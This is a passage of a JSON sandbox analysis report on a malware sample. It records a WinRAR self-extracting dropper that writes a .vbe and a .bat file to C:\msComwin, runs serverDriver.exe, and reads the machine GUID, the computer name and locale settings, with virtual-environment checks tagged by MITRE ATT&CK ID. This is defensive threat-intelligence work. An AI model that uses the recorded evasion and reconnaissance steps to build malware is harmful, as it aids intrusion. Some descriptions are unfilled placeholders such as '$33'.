\"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00005736)\n \"WScript.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00005676)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$33","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to open an existing named mutex object","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" called \"OpenMutexW\" with parameter \"DefaultTabtip-MainUI\" - (UID: 00000000-00005736)\n \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" called \"OpenMutexW\" with parameter \"Local\\MSCTF.Asm.MutexDefault1\" - (UID: 00000000-00005736)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-144","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$34","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"WScript.exe\" called \"LookupAccountSidW\" with param Name %OSUSER% (UID: 00000000-00005676)\n \"serverDriver.exe\" called \"LookupAccountSidW\" with param Name %OSUSER% (UID: 00000000-00006020)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve default language settings","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" called \"GetSystemDefaultLangID\" (UID: 00000000-00005736)","origin":"API Call","mitre_attack_id":"T1614.001","relevance":3,"id":"api-149","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00005736)\n \"WScript.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00005676)\n \"WScript.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00005676)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to detect virtual environment (API)","description":"GetTickCount@KERNEL32.dll at 2753-1867-0041B985","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":3,"id":"stream-87","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerate files inside a directory","description":"FindFirstFileExA@KERNEL32.dll at 2753-1107-0042B3DE\n FindFirstFileW@KERNEL32.dll at 2753-1139-0041C220\n FindFirstFileW@KERNEL32.dll at 2753-1329-0040A69B","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-89","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"Found string \"SELECT * FROM Win32_OperatingSystem\" (Indicator: \"select * from \"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found string \"SELECT * FROM Win32_OperatingSystem\" (Indicator: \"select * from \"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-433","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to find open windows (API string)","description":"Found reference to API \"FindWindowExW\" (Indicator: \"FindWindowExW\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"FindWindowExW\" (Indicator: \"FindWindowExW\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-413","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query local/system time as file time","description":"FileTimeToLocalFileTime@KERNEL32.dll at 2753-1139-0041C220\n FileTimeToSystemTime@KERNEL32.dll at 2753-1371-0041146A\n FileTimeToLocalFileTime@KERNEL32.dll at 2753-1425-00411218","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1070.006","relevance":1,"id":"stream-71","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTime@KERNEL32.dll at 2753-1369-004113D2","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersionExW@KERNEL32.dll at 2753-1348-0040AE92","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the system locale","description":"GetLocaleInfoW@KERNEL32.dll at 2753-1140-0041AF0F","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1614","relevance":1,"id":"stream-49","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$35","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"$36","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system","description":"GetSystemInfo@KERNEL32.dll at 2753-1549-0041E6A5","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":4,"id":"stream-86","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"FindWindowExW\" (Indicator: \"FindWindow\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"GetForegroundWindow\" (Indicator: \"GetForegroundWindow\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"GetWindowText\" (Indicator: \"GetWindowText\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"FindWindowExW\" (Indicator: \"FindWindow\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")\n Found reference to API \"GetForegroundWindow\" (Indicator: \"GetForegroundWindow\"; Source: \"00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve operating system version","description":"Observed string: \"Ver\" (Indicator: \"ver\") in Source: 00000000-00006020.00000000.82307.001F0000.00000004.mdmp\n 00000000-00006020.00000001.82692.001F0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-327","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp, 00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp, 00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\")\n Found reference to API \"GetVersionExA\" (Indicator: \"GetVersionExA\"; Source: \"00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\")\n Found reference to API \"GetVersionExA\" (Indicator: \"GetVersion\"; Source: \"00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Environment Awareness","name":"Makes a code branch decision directly after an API that is environment aware","description":"Found API call GetVersionExW@KERNEL32.dll directly followed by \"cmp dword ptr [ebp-00000110h], 0Ah\" and \"jnbe 0040AEDFh\" at 2753-1348-0040AE92","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":10,"id":"stream-39","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"serverDriver.exe\" queries volume information of \"C:\\msComwin\\serverDriver.exe\" at 00000000-00006020-0000010C-2821779","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"serverDriver.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"serverDriver.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\WSCRIPT.EXE\")\n \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\WSCRIPT.EXE\")\n \"WScript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\JPMPOQEQP16CUCKUJLVM4BATPZBS5KBDFKASANOOTEH6QE.BAT\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\JPMPOQEQP16CUCKUJLVM4BATPZBS5KBDFKASANOOTEH6QE.BAT\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"RegCreateKeyExW\" in file \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\"\n Found registry modification API: \"RegCreateKeyExW\" in \"00000000-00005736.00000000.81734.00403000.00000002.mdmp, 00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"General","name":"Able to read the PEB (Process Environment Block) structure","description":"\"sample.bin\" can read 32 bit PEB structure (dword ptr fs:[00000030h]) (Offset: 160252)","origin":"Binary File","mitre_attack_id":"T1027.007","relevance":3,"id":"binary-30","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"General","name":"Able to rename or move file/directory (API string)","description":"Found string \"MoveFileExW\" (Indicator: \"MoveFileExW\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found string \"MoveFileW\" (Indicator: \"MoveFileW\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found string \"MoveFileW\" (Indicator: \"MoveFileW\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")\n Found string \"MoveFileExW\" (Indicator: \"MoveFileExW\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-884","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp, 00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" called \"CreateDirectoryW\" with parameter C:/msComwin (UID: 00000000-00005736)\n \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\Microsoft\\Windows\\Caches (UID: 00000000-00005736)\n \"WScript.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\Microsoft\\Windows\\Caches (UID: 00000000-00005676)\n \"serverDriver.exe\" called \"CreateDirectoryW\" with parameter C:\\Users\\%OSUSER% (UID: 00000000-00006020)\n \"serverDriver.exe\" called \"CreateDirectoryW\" with parameter %USERPROFILE%\\AppData\\Roaming (UID: 00000000-00006020)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\WScript.exe\" \"C:\\msComwin\\cZA5KaguC4o8PZDkwLzCSV.vbe\"\" - (UID: 00000000-00005736)\n \"WScript.exe\" called \"CreateProcessW\" with parameter \"\"C:\\msComwin\\jPMpoQeQp16cuCKUjlVM4BatpZBs5KbDfkAsAnootEh6QE.bat\"\" - (UID: 00000000-00005676)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$37","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$38","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Can load assembly that contains the code that is currently executing (Dotnet)","description":"file/memory contains long string with (Indicator: \"GetExecutingAssembly\"; File: \"WzVKQIZW.log\")\n file/memory contains long string with (Indicator: \"GetExecutingAssembly\"; File: \"wXSnOmjT.log\")\n Found string \"GetExecutingAssembly\" (Indicator: \"GetExecutingAssembly\"; Source: \"00000000-00006020.00000001.82692.00452000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1620","relevance":1,"id":"string-615","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"D:\\Projects\\WinRAR\\sfx\\build\\sfxrar32\\Release\\sfxrar.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"\"SELECT * FROM Win32_OperatingSystem\" (Source: 0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199, Indicator: \"select * from win32_operatingsystem\")\n \"SELECT * FROM Win32_OperatingSystem\" (Source: 00000000-00005736.00000000.81734.00403000.00000002.mdmp, Indicator: \"select * from win32_operatingsystem\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Contains ability to create/control drivers (API string)","description":"Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-220","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"WaitForSingleObject@KERNEL32.dll at 2753-1207-00410FE4\n Sleep@KERNEL32.dll at 2753-1867-0041B985","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.003","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp, 00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryExA@KERNEL32.dll at 2753-1559-0041E85F","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$39","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"ShellExecuteExW\" (Indicator: \"ShellExecute\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"ShellExecuteExW\" (Indicator: \"ShellExecute\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"$3a","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"MoveFileW\" (Indicator: \"MoveFile\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"MoveFileW\" (Indicator: \"MoveFile\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")\n Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"CreateThread failed\" (Indicator: \"CreateThread\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"CreateThread failed\" (Indicator: \"CreateThread\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"WaitForMultipleObjects error %d, GetLastError %d\" (Indicator: \"GetLastError\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"WaitForMultipleObjects error %d, GetLastError %d\" (Indicator: \"GetLastError\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp, 00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp, 00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Contains ability to show a 